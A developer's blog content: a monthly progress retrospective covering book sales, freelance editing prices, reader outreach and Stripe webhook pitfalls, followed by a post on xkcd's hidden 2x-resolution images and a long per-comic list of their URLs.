My first bunt was, “I Once Appeared in The Old New Thing.” It was about an experience I had at 22 at my first real job. I didn’t have a lot of insightful things to say about it, but I thought it was an interesting story. I was able to write it in about four hours, and it felt complete for what it was.

My next bunt was, “The Software Essays that Shaped Me.” I’ve seen other people share lists of their favorite software blog posts, and I thought it would be an easy, fun thing to do. Best of all, the people who appreciate good software writing might also find my book interesting.

As I started to write “The Software Essays that Shaped Me,” it turned into more than just a bunt. I ended up spending almost all of September on it.

I originally thought I’d list my favorite blog posts and call it a day, but that felt too boring. So, I tried to include short commentary about each post. Then, I got carried away and ended up writing commentary that was longer than the originals themselves. It took me several drafts to figure out what commentary felt interesting, and I still don’t feel like I quite succeeded.

I ended up spending 17 hours on “The Software Essays that Shaped Me” and never stopped to evaluate whether it was still worth writing if it was going to be all that work.

I think the post is interesting to people who read my blog. If someone I knew published a list of articles that influenced them, I’d find that interesting. But in comment threads about the post, people shared their own lists, and I found strangers’ lists totally uninteresting. Maybe I counteracted that some by investing a lot in my commentary, but I just don’t think a list of good blog posts can be all that interesting.

Both posts did well. They both reached the front page of Hacker News, though they did it through the second chance pool, which feels a little like winning through TKO rather than a real knockout.

Post	Writing Hours	Unique Readers	Hacker News score	Lobsters score	reddit score
“The Software Essays that Shaped Me”	17	20.2k	307	85	125
“I Once Appeared in The Old New Thing”	4	3.8k	49	49	28

It’s interesting that the results scaled almost linearly with the effort I invested, which I typically don’t find to be the case.

Squandering my moment of glory

Previously, when one of my Refactoring English posts did well on Hacker News, there was a noticeable uptick in readers purchasing the book. This time, “The Software Essays that Shaped Me” reached #2 and stayed on the front page for 11 hours, but only one person purchased.

Maybe everyone seeing my post on Hacker News has already seen that I’m writing a book, so everyone who’s interested has already bought?

I woke up the morning after my article had already fallen off the front page of Hacker News and suddenly realized: I never included the ad for the book!

All the sample chapters on the book’s website include a little self-ad to tell the reader I’m writing a book on this topic, and they can buy early access.

All the pages on the Refactoring English website are supposed to have a little self-ad on them for the book.

I forgot to include the self-ad for the blog post, so the first 14k readers saw my post and had no idea I’m writing a book. D’oh!

I’ve updated my blog template so that I can’t possibly forget to include the self-ad in the future.

Adjusting my approach to freelance editing

A few months ago, I decided to offer freelance editing services to help other developers improve writing on their blogs. My idea was that it’s an opportunity to make sure the way I explain concepts in my book makes sense to real people.

The downside is that there’s a high cost to the editing. Each job takes me between four to seven hours, and it eats up my “hard thinking” of the day, so it’s tough to do my own writing in the same day. I also feel pressure to offer quick turnaround, even though nobody has asked me to hurry. But just knowing my own writing process, it sucks to be stuck for days waiting on feedback.

At the beginning, freelance editing worked as I planned: it gave me good ideas for my book. As I do more jobs, I’m getting fewer ideas for my book. Now, most of the feedback I write is basically writing a personalized version of something I’ve already written for my book.

I want to keep doing the editing, but only for authors who have read my book. I doubled my rates, so now my price for editing a blog post is $400. But I’m going to offer a 90% discount to readers who have read my book.

At a 90% discount, it’s almost not worth charging at all, but I want clients to pay some amount so that they feel like they have skin in the game, too.

I’ll continue to take on clients who haven’t read the book, but I want to charge enough that I feel like it’s worth the tradeoff of taking time from my book. $400 might still be too low, but we’ll see.

Why do I keep skipping reader outreach?

I’m trying to figure out why I keep missing my goal of reader outreach. On its face, it doesn’t seem that hard, but it never seems like the most important thing, so I keep deferring it.

There are other tasks I procrastinate because I don’t enjoy doing them, but I actually enjoy reaching out to readers. It’s fun to see what different readers are up to and how they might apply my techniques.

Part of the issue is that emailing readers requires activation energy because I have to:

Go to my list of pre-paid readers
Look for ones that have a website (so I can say something personalized)
Read through their website to learn more about them
Write an email and word it carefully to avoid sounding AI-generated

It might help if I first gather a list of customers to email and their websites. That way, when I’m in the mood to reach out, I’m not starting from scratch every time.

The hassle of sending post-purchase emails with Stripe

A few Refactoring English customers have emailed me confused because they paid but never got an email with a link to the book. I collect payment through Stripe, and Stripe redirects customers to the book’s URL after they complete payment. If the customer doesn’t notice the redirect or forgets to bookmark the page, they lose access to the book.

Whenever customers tell me they can’t find the link to the book, I dig around in Stripe to look for a setting to customize post-purchase emails, give up after a few minutes, and then email the correct link to the customer.

Last month, I finally sat down and searched through Stripe’s documentation and forum posts, and I can’t find any way to customize the email Stripe sends after a customer completes a one-time payment. As far as I can tell, the only option is to spin up your own web server to listen for Stripe webhooks, then send your own emails from your own email provider. All because Stripe can’t be bothered to let merchants customize any text in the payment completion emails…

Setting up a web server to respond to webhooks shouldn’t be that hard for me, but it means writing code to glue together Stripe, Buttondown, and Netlify functions, and they all have their little gotchas and bugs. Especially Stripe. I’ve spent about 10 hours so far just trying to get emails to send after a customer makes a purchase, and I’m still not sure it’s working correctly.

Here are the gotchas I’ve hit so far:

Stripe’s Go client library is compatible with exactly one version of the Stripe webhook API.
- No, the documentation doesn’t say which one. Run it and find out from the webhook failures!
If you update your Stripe account to use the latest webhook API version and then resend a webhook for a previous event, Stripe still uses the old API version even though it claims to use the new version.
Stripe’s webhook requests for checkout.session.completed don’t actually contain line_items even though it’s present in the docs.
- This is a pain because it means you can’t figure out what the customer purchased unless you make a separate API call.
Netlify silently converts HTTP header names to lowercase, so if you’re looking for the Stripe-Signature: header, you have to look for stripe-signature.
The Stripe webhook signing secret is different from your Stripe API key.

Side projects

Breaking down Hacker News success by the hour

I’m still tinkering with Hacker News Observer, a product that I still haven’t released and don’t know what to do with. For now, I’m just gathering data and using it to satisfy some curiosities about success on Hacker News.

One curiosity I’ve had for a long time is whether there are times of day when it’s easier for a post to reach the front page of Hacker News, so I aggregated what percentage of posts reach the front page over the course of a day:

I created a view in Hacker News observer to show front page stats by hour

I initially thought I had a bug that overcounted the success rate, as the percentage of Hacker News submissions that reach the front page feels lower than 12% in my experience. Then, I looked at some random slices from the last few days, and it seems to match up. If I browse /newest, there will typically be 2-5 stories that reached the front page. I found a 30-minute slice from a few days ago where 27% of submissions reached the front page, which is surprising.

I thought that success rate would be significantly higher on the weekends, when there are fewer submissions. Weekend posts are more likely to reach the front page, but the effect is much smaller than I thought.

Weekdays: 12.1% of submissions reach the front page.
Weekends: 13.2% of submissions reach the front page.

I thought it was going to be like 5% on weekdays vs. 20% on weekends. It makes submitting on the weekend less attractive because your chances of hitting the front page are only slightly better, but if you succeed, there are substantially fewer readers.

I’d like to try limiting the data to personal blogs like I do on HN Popularity Contest, as I’m curious to see if personal blogs have better chances at certain times.

Wrap up

What got done?

Published “The Software Essays that Shaped Me”
Published “I Once Appeared in The Old New Thing”
Published “Get xkcd Cartoons at 2x Resolution”
Worked with two freelance clients for Refactoring English
Set up a webhook handler to send post-purchase emails to Refactoring English customers
Added “success by hour of day” feature to Hacker News observer
Started contributing to the Jellyfin Roku client code
Had a call with AirGradient to discuss improving relations between the company and community members

Lessons learned

Consider bailing if a low-investment post turns out to be high-investment.
Stripe does not allow you to customize post-purchase emails.
- You have to do a bunch of other stuff to send your customers an email.

Goals for next month

Set up editing discounts for readers who have read the book.
Create a list of early access customers to reach out to.
Publish a new chapter of the book.

Get xkcd Cartoons at 2x Resolution

Sat, 27 Sep 2025 00:00:00 +0000

I recently learned a neat trick from Marcus Buffett: xkcd has an undocumented way to get images of the cartoons at double their normal resolution.

The _2x trick

For example, xkcd #2582 “Data Trap” lists this URL as the direct link:

https://imgs.xkcd.com/comics/data_trap.png

That leads to this 275x275px image, quite small by today’s standards:

But there’s a trick! Add a _2x to the filename in the URL:

https://imgs.xkcd.com/comics/data_trap_2x.png

That gives you a version that’s 2x the original resolution, at 550x550px:

I couldn’t find the 2x versions documented ~~or linked anywhere~~ except for some old, obscure reddit posts. I hope this knowledge saves you from stretching out poor, low-resolution xkcd comics.

Update (2025-10-02): My friend Matthew Riley let me know that the _2x URL actually appears in xkcd’s HTML in the image’s srcset attribute:

<img
 src="//imgs.xkcd.com/comics/measure_twice_cut_once.png"
 srcset="//imgs.xkcd.com/comics/measure_twice_cut_once_2x.png 2x"
/>

Matthew also did some sleuthing at the Internet Archive and noticed that Randall Munroe added the 2x version for older cartoons recently, as #124 “Blogofractal” had no srcset attribute in this 2023 snapshot, but this 2024 snapshot includes srcset.

Which ones are available in 2x?

Not every xkcd is availble in 2x resolution.

I vibe-coded a Python script to check which cartoons have a 2x-resolution version and published the current list:

List of 2x-resolution xkcd Cartoons

The earliest version with 2x available is #124, “Blogofractal” (2x version).

Starting with #1084, “Server Problem” (2x version), almost every xkcd is available at 2x-resolution.

Easter eggs

#1683 “Digital Data”: The 2x version is lower quality than the original.

List of 2x-resolution xkcd Cartoons

Sat, 27 Sep 2025 00:00:00 +0000

This is a list of all the xkcd cartoons that are available in 2x resolution, as of today’s date.

See the accompanying post, “Get xkcd Cartoons at 2x Resolution,” for an explanation.

1: No higher res available
2: No higher res available
3: No higher res available
4: No higher res available
5: No higher res available
6: No higher res available
7: No higher res available
8: No higher res available
9: No higher res available
10: No higher res available
11: No higher res available
12: No higher res available
13: No higher res available
14: No higher res available
15: No higher res available
16: No higher res available
17: No higher res available
18: No higher res available
19: No higher res available
20: No higher res available
21: No higher res available
22: No higher res available
23: No higher res available
24: No higher res available
25: No higher res available
26: No higher res available
27: No higher res available
28: No higher res available
29: No higher res available
30: No higher res available
31: No higher res available
32: No higher res available
33: No higher res available
34: No higher res available
35: No higher res available
36: No higher res available
37: No higher res available
38: No higher res available
39: No higher res available
40: No higher res available
41: No higher res available
42: No higher res available
43: No higher res available
44: No higher res available
45: No higher res available
46: No higher res available
47: No higher res available
48: No higher res available
49: No higher res available
50: No higher res available
51: No higher res available
52: No higher res available
53: No higher res available
54: No higher res available
55: No higher res available
56: No higher res available
57: No higher res available
58: No higher res available
59: No higher res available
60: No higher res available
61: No higher res available
62: No higher res available
63: No higher res available
64: No higher res available
65: No higher res available
66: No higher res available
67: No higher res available
68: No higher res available
69: No higher res available
70: No higher res available
71: No higher res available
72: No higher res available
73: No higher res available
74: No higher res available
75: No higher res available
76: No higher res available
77: No higher res available
78: No higher res available
79: No higher res available
80: No higher res available
81: No higher res available
82: No higher res available
83: No higher res available
84: No higher res available
85: No higher res available
86: No higher res available
87: No higher res available
88: No higher res available
89: No higher res available
90: No higher res available
91: No higher res available
92: No higher res available
93: No higher res available
94: No higher res available
95: No higher res available
96: No higher res available
97: No higher res available
98: No higher res available
99: No higher res available
100: No higher res available
101: No higher res available
102: No higher res available
103: No higher res available
104: No higher res available
105: No higher res available
106: No higher res available
107: No higher res available
108: No higher res available
109: No higher res available
110: No higher res available
111: No higher res available
112: No higher res available
113: No higher res available
114: No higher res available
115: No higher res available
116: No higher res available
117: No higher res available
118: No higher res available
119: No higher res available
120: No higher res available
121: No higher res available
122: No higher res available
123: No higher res available
124: https://imgs.xkcd.com/comics/blogofractal_2x.png
125: No higher res available
126: No higher res available
127: No higher res available
128: No higher res available
129: No higher res available
130: No higher res available
131: No higher res available
132: No higher res available
133: No higher res available
134: No higher res available
135: No higher res available
136: No higher res available
137: No higher res available
138: No higher res available
139: No higher res available
140: No higher res available
141: No higher res available
142: No higher res available
143: No higher res available
144: No higher res available
145: No higher res available
146: No higher res available
147: No higher res available
148: No higher res available
149: No higher res available
150: No higher res available
151: No higher res available
152: No higher res available
153: No higher res available
154: No higher res available
155: No higher res available
156: No higher res available
157: No higher res available
158: No higher res available
159: No higher res available
160: No higher res available
161: No higher res available
162: No higher res available
163: No higher res available
164: No higher res available
165: No higher res available
166: No higher res available
167: No higher res available
168: No higher res available
169: No higher res available
170: No higher res available
171: No higher res available
172: No higher res available
173: No higher res available
174: No higher res available
175: No higher res available
176: No higher res available
177: No higher res available
178: No higher res available
179: No higher res available
180: No higher res available
181: No higher res available
182: No higher res available
183: No higher res available
184: No higher res available
185: No higher res available
186: No higher res available
187: No higher res available
188: No higher res available
189: No higher res available
190: No higher res available
191: No higher res available
192: No higher res available
193: No higher res available
194: No higher res available
195: No higher res available
196: No higher res available
197: No higher res available
198: No higher res available
199: No higher res available
200: No higher res available
201: No higher res available
202: No higher res available
203: No higher res available
204: No higher res available
205: No higher res available
206: No higher res available
207: No higher res available
208: No higher res available
209: No higher res available
210: No higher res available
211: No higher res available
212: No higher res available
213: No higher res available
214: No higher res available
215: No higher res available
216: No higher res available
217: No higher res available
218: No higher res available
219: No higher res available
220: No higher res available
221: No higher res available
222: No higher res available
223: No higher res available
224: No higher res available
225: No higher res available
226: No higher res available
227: No higher res available
228: No higher res available
229: No higher res available
230: No higher res available
231: https://imgs.xkcd.com/comics/cat_proximity_2x.png
232: No higher res available
233: No higher res available
234: No higher res available
235: No higher res available
236: No higher res available
237: No higher res available
238: No higher res available
239: No higher res available
240: No higher res available
241: No higher res available
242: No higher res available
243: No higher res available
244: No higher res available
245: No higher res available
246: No higher res available
247: No higher res available
248: No higher res available
249: No higher res available
250: No higher res available
251: No higher res available
252: No higher res available
253: No higher res available
254: No higher res available
255: No higher res available
256: No higher res available
257: No higher res available
258: No higher res available
259: No higher res available
260: No higher res available
261: No higher res available
262: No higher res available
263: No higher res available
264: No higher res available
265: No higher res available
266: No higher res available
267: No higher res available
268: No higher res available
269: No higher res available
270: No higher res available
271: No higher res available
272: No higher res available
273: No higher res available
274: No higher res available
275: No higher res available
276: No higher res available
277: No higher res available
278: No higher res available
279: No higher res available
280: No higher res available
281: No higher res available
282: No higher res available
283: No higher res available
284: No higher res available
285: No higher res available
286: No higher res available
287: No higher res available
288: No higher res available
289: No higher res available
290: No higher res available
291: No higher res available
292: No higher res available
293: No higher res available
294: No higher res available
295: No higher res available
296: No higher res available
297: No higher res available
298: No higher res available
299: No higher res available
300: No higher res available
301: No higher res available
302: No higher res available
303: No higher res available
304: No higher res available
305: No higher res available
306: No higher res available
307: No higher res available
308: No higher res available
309: No higher res available
310: No higher res available
311: No higher res available
312: No higher res available
313: No higher res available
314: No higher res available
315: No higher res available
316: No higher res available
317: No higher res available
318: No higher res available
319: No higher res available
320: No higher res available
321: No higher res available
322: No higher res available
323: No higher res available
324: No higher res available
325: No higher res available
326: No higher res available
327: https://imgs.xkcd.com/comics/exploits_of_a_mom_2x.png
328: No higher res available
329: No higher res available
330: No higher res available
331: No higher res available
332: No higher res available
333: No higher res available
334: No higher res available
335: No higher res available
336: No higher res available
337: No higher res available
338: No higher res available
339: No higher res available
340: No higher res available
341: No higher res available
342: No higher res available
343: No higher res available
344: No higher res available
345: No higher res available
346: No higher res available
347: No higher res available
348: No higher res available
349: No higher res available
350: No higher res available
351: No higher res available
352: No higher res available
353: No higher res available
354: No higher res available
355: No higher res available
356: No higher res available
357: No higher res available
358: No higher res available
359: No higher res available
360: No higher res available
361: No higher res available
362: No higher res available
363: No higher res available
364: No higher res available
365: No higher res available
366: No higher res available
367: No higher res available
368: No higher res available
369: No higher res available
370: No higher res available
371: No higher res available
372: No higher res available
373: No higher res available
374: No higher res available
375: No higher res available
376: No higher res available
377: No higher res available
378: No higher res available
379: No higher res available
380: No higher res available
381: No higher res available
382: No higher res available
383: No higher res available
384: No higher res available
385: No higher res available
386: https://imgs.xkcd.com/comics/duty_calls_2x.png
387: No higher res available
388: No higher res available
389: No higher res available
390: No higher res available
391: No higher res available
392: No higher res available
393: No higher res available
394: No higher res available
395: No higher res available
396: No higher res available
397: No higher res available
398: No higher res available
399: No higher res available
400: No higher res available
401: No higher res available
402: No higher res available
403: No higher res available
405: No higher res available
406: No higher res available
407: No higher res available
408: No higher res available
409: No higher res available
410: No higher res available
411: No higher res available
412: No higher res available
413: No higher res available
414: No higher res available
415: No higher res available
416: No higher res available
417: No higher res available
418: No higher res available
419: No higher res available
420: No higher res available
421: No higher res available
422: No higher res available
423: No higher res available
424: No higher res available
425: No higher res available
426: No higher res available
427: No higher res available
428: No higher res available
429: No higher res available
430: No higher res available
431: No higher res available
432: No higher res available
433: No higher res available
434: No higher res available
435: No higher res available
436: No higher res available
437: No higher res available
438: No higher res available
439: No higher res available
440: No higher res available
441: No higher res available
442: No higher res available
443: No higher res available
444: No higher res available
445: No higher res available
446: No higher res available
447: No higher res available
448: No higher res available
449: No higher res available
450: No higher res available
451: No higher res available
452: No higher res available
453: No higher res available
454: No higher res available
455: No higher res available
456: No higher res available
457: No higher res available
458: No higher res available
459: No higher res available
460: No higher res available
461: No higher res available
462: No higher res available
463: No higher res available
464: No higher res available
465: No higher res available
466: No higher res available
467: No higher res available
468: No higher res available
469: No higher res available
470: No higher res available
471: No higher res available
472: No higher res available
473: No higher res available
474: No higher res available
475: No higher res available
476: No higher res available
477: No higher res available
478: No higher res available
479: No higher res available
480: No higher res available
481: No higher res available
482: No higher res available
483: No higher res available
484: No higher res available
485: No higher res available
486: No higher res available
487: No higher res available
488: No higher res available
489: No higher res available
490: https://imgs.xkcd.com/comics/morning_routine_2x.png
491: No higher res available
492: No higher res available
493: No higher res available
494: No higher res available
495: No higher res available
496: No higher res available
497: No higher res available
498: No higher res available
499: No higher res available
500: https://imgs.xkcd.com/comics/election_2x.png
501: No higher res available
502: No higher res available
503: No higher res available
504: No higher res available
505: No higher res available
506: No higher res available
507: No higher res available
508: No higher res available
509: No higher res available
510: No higher res available
511: No higher res available
512: No higher res available
513: No higher res available
514: No higher res available
515: No higher res available
516: No higher res available
517: No higher res available
518: No higher res available
519: No higher res available
520: No higher res available
521: No higher res available
522: No higher res available
523: No higher res available
524: No higher res available
525: No higher res available
526: No higher res available
527: No higher res available
528: No higher res available
529: No higher res available
530: No higher res available
531: No higher res available
532: No higher res available
533: No higher res available
534: No higher res available
535: No higher res available
536: No higher res available
537: No higher res available
538: No higher res available
539: No higher res available
540: No higher res available
541: No higher res available
542: No higher res available
543: No higher res available
544: No higher res available
545: No higher res available
546: No higher res available
547: No higher res available
548: No higher res available
549: No higher res available
550: No higher res available
551: No higher res available
552: https://imgs.xkcd.com/comics/correlation_2x.png
553: No higher res available
554: No higher res available
555: No higher res available
556: No higher res available
557: No higher res available
558: No higher res available
559: No higher res available
560: No higher res available
561: No higher res available
562: No higher res available
563: No higher res available
564: No higher res available
565: No higher res available
566: No higher res available
567: No higher res available
568: No higher res available
569: No higher res available
570: No higher res available
571: No higher res available
572: No higher res available
573: No higher res available
574: No higher res available
575: No higher res available
576: No higher res available
577: No higher res available
578: No higher res available
579: No higher res available
580: No higher res available
581: No higher res available
582: No higher res available
583: No higher res available
584: No higher res available
585: No higher res available
586: No higher res available
587: No higher res available
588: No higher res available
589: No higher res available
590: No higher res available
591: No higher res available
592: No higher res available
593: No higher res available
594: No higher res available
595: No higher res available
596: No higher res available
597: No higher res available
598: No higher res available
599: No higher res available
600: No higher res available
601: No higher res available
602: No higher res available
603: No higher res available
604: No higher res available
605: No higher res available
606: No higher res available
607: No higher res available
608: No higher res available
609: No higher res available
610: No higher res available
611: No higher res available
612: No higher res available
613: No higher res available
614: No higher res available
615: No higher res available
616: No higher res available
617: No higher res available
618: No higher res available
619: No higher res available
620: No higher res available
621: No higher res available
622: No higher res available
623: No higher res available
624: No higher res available
625: No higher res available
626: No higher res available
627: https://imgs.xkcd.com/comics/tech_support_cheat_sheet_2x.png
628: No higher res available
629: No higher res available
630: No higher res available
631: No higher res available
632: No higher res available
633: No higher res available
634: No higher res available
635: No higher res available
636: No higher res available
637: No higher res available
638: No higher res available
639: No higher res available
640: No higher res available
641: No higher res available
642: No higher res available
643: No higher res available
644: No higher res available
645: No higher res available
646: No higher res available
647: No higher res available
648: No higher res available
649: No higher res available
650: No higher res available
651: No higher res available
652: No higher res available
653: No higher res available
654: No higher res available
655: No higher res available
656: No higher res available
657: https://imgs.xkcd.com/comics/movie_narrative_charts_2x.png
658: No higher res available
659: No higher res available
660: No higher res available
661: No higher res available
662: No higher res available
663: No higher res available
664: No higher res available
665: No higher res available
666: No higher res available
667: No higher res available
668: No higher res available
669: No higher res available
670: No higher res available
671: No higher res available
672: No higher res available
673: No higher res available
674: No higher res available
675: No higher res available
676: No higher res available
677: No higher res available
678: No higher res available
679: No higher res available
680: No higher res available
681: No higher res available
682: No higher res available
683: No higher res available
684: No higher res available
685: No higher res available
686: No higher res available
687: No higher res available
688: No higher res available
689: No higher res available
690: No higher res available
691: No higher res available
692: No higher res available
693: No higher res available
694: No higher res available
695: https://imgs.xkcd.com/comics/spirit_2x.png
696: No higher res available
697: No higher res available
698: No higher res available
699: No higher res available
700: No higher res available
701: No higher res available
702: No higher res available
703: No higher res available
704: No higher res available
705: No higher res available
706: No higher res available
707: No higher res available
708: No higher res available
709: No higher res available
710: No higher res available
711: No higher res available
712: No higher res available
713: No higher res available
714: No higher res available
715: No higher res available
716: No higher res available
717: No higher res available
718: No higher res available
719: No higher res available
720: No higher res available
721: No higher res available
722: No higher res available
723: No higher res available
724: No higher res available
725: No higher res available
726: No higher res available
727: No higher res available
728: No higher res available
729: No higher res available
730: No higher res available
731: No higher res available
732: No higher res available
733: No higher res available
734: No higher res available
735: No higher res available
736: No higher res available
737: No higher res available
738: No higher res available
739: No higher res available
740: No higher res available
741: No higher res available
742: No higher res available
743: No higher res available
744: No higher res available
745: No higher res available
746: No higher res available
747: No higher res available
748: No higher res available
749: No higher res available
750: No higher res available
751: No higher res available
752: No higher res available
753: No higher res available
754: No higher res available
755: No higher res available
756: No higher res available
757: No higher res available
758: No higher res available
759: No higher res available
760: No higher res available
761: No higher res available
762: No higher res available
763: No higher res available
764: No higher res available
765: No higher res available
766: No higher res available
767: No higher res available
768: No higher res available
769: No higher res available
770: No higher res available
771: No higher res available
772: No higher res available
773: No higher res available
774: No higher res available
775: No higher res available
776: No higher res available
777: No higher res available
778: No higher res available
779: No higher res available
780: No higher res available
781: No higher res available
782: No higher res available
783: No higher res available
784: No higher res available
785: No higher res available
786: No higher res available
787: No higher res available
788: No higher res available
789: No higher res available
790: No higher res available
791: No higher res available
792: No higher res available
793: https://imgs.xkcd.com/comics/physicists_2x.png
794: No higher res available
795: No higher res available
796: No higher res available
797: No higher res available
798: No higher res available
799: No higher res available
800: No higher res available
801: No higher res available
802: https://imgs.xkcd.com/comics/online_communities_2_2x.png
803: No higher res available
804: No higher res available
805: No higher res available
806: No higher res available
807: No higher res available
808: No higher res available
809: No higher res available
810: No higher res available
811: No higher res available
812: No higher res available
813: No higher res available
814: No higher res available
815: No higher res available
816: No higher res available
817: No higher res available
818: No higher res available
819: No higher res available
820: No higher res available
821: No higher res available
822: No higher res available
823: No higher res available
824: No higher res available
825: No higher res available
826: No higher res available
827: https://imgs.xkcd.com/comics/my_business_idea_2x.png
828: No higher res available
829: No higher res available
830: No higher res available
831: No higher res available
832: No higher res available
833: No higher res available
834: No higher res available
835: No higher res available
836: No higher res available
837: No higher res available
838: No higher res available
839: No higher res available
840: No higher res available
841: No higher res available
842: No higher res available
843: No higher res available
844: No higher res available
845: No higher res available
846: No higher res available
847: No higher res available
848: No higher res available
849: No higher res available
850: No higher res available
851: No higher res available
852: No higher res available
853: No higher res available
854: No higher res available
855: No higher res available
856: No higher res available
857: No higher res available
858: No higher res available
859: No higher res available
860: No higher res available
861: No higher res available
862: No higher res available
863: No higher res available
864: No higher res available
865: No higher res available
866: No higher res available
867: No higher res available
868: No higher res available
869: No higher res available
870: No higher res available
871: No higher res available
872: No higher res available
873: No higher res available
874: No higher res available
875: No higher res available
876: No higher res available
877: No higher res available
878: No higher res available
879: No higher res available
880: No higher res available
881: No higher res available
882: No higher res available
883: No higher res available
884: No higher res available
885: No higher res available
886: No higher res available
887: No higher res available
888: No higher res available
889: https://imgs.xkcd.com/comics/turtles_2x.png
890: No higher res available
891: No higher res available
892: No higher res available
893: No higher res available
894: No higher res available
895: No higher res available
896: No higher res available
897: No higher res available
898: No higher res available
899: No higher res available
900: No higher res available
901: No higher res available
902: No higher res available
903: No higher res available
904: No higher res available
905: No higher res available
906: No higher res available
907: No higher res available
908: No higher res available
909: No higher res available
910: No higher res available
911: https://imgs.xkcd.com/comics/magic_school_bus_2x.png
912: No higher res available
913: No higher res available
914: No higher res available
915: No higher res available
916: No higher res available
917: No higher res available
918: No higher res available
919: No higher res available
920: No higher res available
921: No higher res available
922: No higher res available
923: No higher res available
924: No higher res available
925: No higher res available
926: No higher res available
927: https://imgs.xkcd.com/comics/standards_2x.png
928: No higher res available
929: No higher res available
930: No higher res available
931: No higher res available
932: No higher res available
933: No higher res available
934: No higher res available
935: No higher res available
936: https://imgs.xkcd.com/comics/password_strength_2x.png
937: https://imgs.xkcd.com/comics/tornadoguard_2x.png
938: No higher res available
939: No higher res available
940: No higher res available
941: No higher res available
942: No higher res available
943: No higher res available
944: No higher res available
945: No higher res available
946: No higher res available
947: No higher res available
948: No higher res available
949: No higher res available
950: No higher res available
951: No higher res available
952: No higher res available
953: No higher res available
954: No higher res available
955: No higher res available
956: No higher res available
957: No higher res available
958: No higher res available
959: No higher res available
960: No higher res available
961: No higher res available
962: No higher res available
963: No higher res available
964: No higher res available
965: No higher res available
966: No higher res available
967: https://imgs.xkcd.com/comics/prairie_2x.png
968: No higher res available
969: No higher res available
970: No higher res available
971: No higher res available
972: No higher res available
973: No higher res available
974: No higher res available
975: No higher res available
976: No higher res available
977: No higher res available
978: No higher res available
979: No higher res available
980: No higher res available
981: No higher res available
982: No higher res available
983: No higher res available
984: No higher res available
985: No higher res available
986: No higher res available
987: No higher res available
988: https://imgs.xkcd.com/comics/tradition_2x.png
989: No higher res available
990: No higher res available
991: No higher res available
992: https://imgs.xkcd.com/comics/mnemonics_2x.png
993: No higher res available
994: No higher res available
995: No higher res available
996: No higher res available
997: No higher res available
998: No higher res available
999: No higher res available
1000: No higher res available
1001: No higher res available
1002: No higher res available
1003: No higher res available
1004: No higher res available
1005: No higher res available
1006: No higher res available
1007: No higher res available
1008: No higher res available
1009: No higher res available
1010: No higher res available
1011: No higher res available
1012: No higher res available
1013: https://imgs.xkcd.com/comics/wake_up_sheeple_2x.png
1014: No higher res available
1015: No higher res available
1016: No higher res available
1017: No higher res available
1018: No higher res available
1019: No higher res available
1020: No higher res available
1021: No higher res available
1022: No higher res available
1023: No higher res available
1024: No higher res available
1025: No higher res available
1026: No higher res available
1027: https://imgs.xkcd.com/comics/pickup_artist_2x.png
1028: No higher res available
1029: No higher res available
1030: No higher res available
1031: No higher res available
1032: No higher res available
1033: No higher res available
1034: No higher res available
1035: No higher res available
1036: No higher res available
1037: No higher res available
1038: No higher res available
1039: No higher res available
1040: No higher res available
1041: No higher res available
1042: No higher res available
1043: No higher res available
1044: https://imgs.xkcd.com/comics/romney_quiz_2x.png
1045: No higher res available
1046: No higher res available
1047: No higher res available
1048: No higher res available
1049: No higher res available
1050: No higher res available
1051: No higher res available
1052: No higher res available
1053: https://imgs.xkcd.com/comics/ten_thousand_2x.png
1054: No higher res available
1055: No higher res available
1056: No higher res available
1057: No higher res available
1058: No higher res available
1059: No higher res available
1060: No higher res available
1061: https://imgs.xkcd.com/comics/est_2x.png
1062: No higher res available
1063: https://imgs.xkcd.com/comics/kill_hitler_2x.png
1064: No higher res available
1065: No higher res available
1066: No higher res available
1067: No higher res available
1068: No higher res available
1069: No higher res available
1070: No higher res available
1071: No higher res available
1072: No higher res available
1073: No higher res available
1074: https://imgs.xkcd.com/comics/moon_landing_2x.png
1075: No higher res available
1076: No higher res available
1077: No higher res available
1078: No higher res available
1079: https://imgs.xkcd.com/comics/united_shapes_2x.png
1080: No higher res available
1081: No higher res available
1082: No higher res available
1083: No higher res available
1084: https://imgs.xkcd.com/comics/server_problem_2x.png
1085: https://imgs.xkcd.com/comics/contextbot_2x.png
1086: https://imgs.xkcd.com/comics/eyelash_wish_log_2x.png
1087: https://imgs.xkcd.com/comics/cirith_ungol_2x.png
1088: https://imgs.xkcd.com/comics/five_years_2x.png
1089: https://imgs.xkcd.com/comics/internal_monologue_2x.png
1090: https://imgs.xkcd.com/comics/formal_languages_2x.png
1091: https://imgs.xkcd.com/comics/curiosity_2x.png
1092: https://imgs.xkcd.com/comics/michael_phelps_2x.png
1093: https://imgs.xkcd.com/comics/forget_2x.png
1094: https://imgs.xkcd.com/comics/interview_2x.png
1095: https://imgs.xkcd.com/comics/crazy_straws_2x.png
1096: https://imgs.xkcd.com/comics/clinically_studied_ingredient_2x.png
1097: No higher res available
1098: https://imgs.xkcd.com/comics/star_ratings_2x.png
1099: https://imgs.xkcd.com/comics/tuesdays_2x.png
1100: https://imgs.xkcd.com/comics/vows_2x.png
1101: https://imgs.xkcd.com/comics/sketchiness_2x.png
1102: https://imgs.xkcd.com/comics/fastest_growing_2x.png
1103: No higher res available
1104: https://imgs.xkcd.com/comics/feathers_2x.png
1105: https://imgs.xkcd.com/comics/license_plate_2x.png
1106: https://imgs.xkcd.com/comics/add_2x.png
1107: https://imgs.xkcd.com/comics/sports_cheat_sheet_2x.png
1108: https://imgs.xkcd.com/comics/cautionary_ghost_2x.png
1109: https://imgs.xkcd.com/comics/refrigerator_2x.png
1110: No higher res available
1111: https://imgs.xkcd.com/comics/premiere_2x.png
1112: https://imgs.xkcd.com/comics/think_logically_2x.png
1113: https://imgs.xkcd.com/comics/killed_in_action_2x.png
1114: https://imgs.xkcd.com/comics/metallurgy_2x.png
1115: https://imgs.xkcd.com/comics/sky_2x.png
1116: No higher res available
1117: https://imgs.xkcd.com/comics/my_sky_2x.png
1118: https://imgs.xkcd.com/comics/microsoft_2x.png
1119: https://imgs.xkcd.com/comics/undoing_2x.png
1120: https://imgs.xkcd.com/comics/blurring_the_line_2x.png
1121: https://imgs.xkcd.com/comics/identity_2x.png
1122: https://imgs.xkcd.com/comics/electoral_precedent_2x.png
1123: https://imgs.xkcd.com/comics/the_universal_label_2x.png
1124: https://imgs.xkcd.com/comics/law_of_drama_2x.png
1125: https://imgs.xkcd.com/comics/objects_in_mirror_2x.png
1126: https://imgs.xkcd.com/comics/epsilon_and_zeta_2x.png
1127: No higher res available
1128: https://imgs.xkcd.com/comics/fifty_shades_2x.png
1129: https://imgs.xkcd.com/comics/cell_number_2x.png
